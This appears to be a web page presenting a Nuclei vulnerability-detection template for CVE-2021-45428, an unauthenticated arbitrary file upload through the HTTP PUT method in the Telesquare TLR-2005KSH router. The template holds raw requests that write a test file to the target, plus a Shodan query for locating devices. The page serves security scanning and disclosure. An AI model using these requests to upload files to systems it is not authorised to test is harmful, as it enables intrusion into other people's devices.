Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload

ID: CVE-2021-45428

Severity: critical

Author: gy741

Tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm

Description

TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.

YAML Source

id: CVE-2021-45428

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
  author: gy741
  severity: critical
  description: |
    TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
  reference:
    - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
    - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45428
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45428
    cwe-id: CWE-639
    epss-score: 0.07905
    epss-percentile: 0.94241
    cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh
    shodan-query: http.html:"TLR-2005KSH"
  tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm

http:
  - raw:
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        PUT /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

        CVE-2021-45428
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 404 && status_code_2 == 201'
          - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
        condition: and
# digest: 4a0a00473045022100aff12237556d6d25b88cbcb2e5326018817dd207db1d02f297c3ac87f438815e022042e1e1e24df724dba5b9e1ddc916cba9215277ac3afc17d5e529e21be85269d0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-45428.yaml"

View on Github